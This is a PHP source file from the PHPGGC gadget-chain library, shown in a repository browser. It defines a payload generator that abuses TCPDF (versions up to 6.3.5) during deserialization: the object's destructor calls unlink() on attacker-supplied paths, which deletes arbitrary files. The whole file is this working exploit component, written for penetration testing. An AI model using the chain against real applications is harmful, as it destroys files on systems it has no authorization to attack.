Codebase list phpggc / a334346 gadgetchains / TCPDF / FD / 1 / chain.php
a334346

Tree @a334346 (Download .tar.gz)

chain.php @a334346raw · history · blame

<?php

namespace GadgetChain\TCPDF;

class FD1 extends \PHPGGC\GadgetChain\FileDelete
{
    public static $version = '<= 6.3.5';
    public static $vector = '__destruct';
    public static $author = 'timoles';
    public static $information = '
        TCPDF contains the variable "imagekeys" which expects an array of strings. Upon __destruct an "unlink()" is 
        called on all filepaths within the imagekeys array.
    ';

    public function generate(array $parameters)
    {
        $file = $parameters['remote_file'];

        return new \TCPDF(
            $file
        );
    }
}